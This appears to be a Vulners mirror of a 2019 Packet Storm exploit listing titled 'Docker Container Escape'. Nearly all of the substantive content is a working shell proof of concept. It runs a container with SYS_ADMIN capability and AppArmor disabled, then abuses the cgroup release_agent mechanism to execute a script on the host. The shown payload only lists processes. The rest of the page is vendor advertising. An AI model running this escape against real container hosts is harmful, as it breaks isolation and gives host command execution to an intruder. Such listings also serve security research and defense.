Lucene search
K

Docker Container Escape

🗓️ 22 Jul 2019 00:00:00Reported by dominikczarnotatobType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 95 Views

Docker container escape with SYS_ADMIN capabilities using cgroup mount

Code
`# On the host  
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash  
  
# In the container  
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x  
  
echo 1 > /tmp/cgrp/x/notify_on_release  
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`  
echo "$host_path/cmd" > /tmp/cgrp/release_agent  
  
echo '#!/bin/sh' > /cmd  
echo "ps aux > $host_path/output" >> /cmd  
chmod a+x /cmd  
  
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Jul 2019 00:00Current
0.4Low risk
Vulners AI Score0.4
95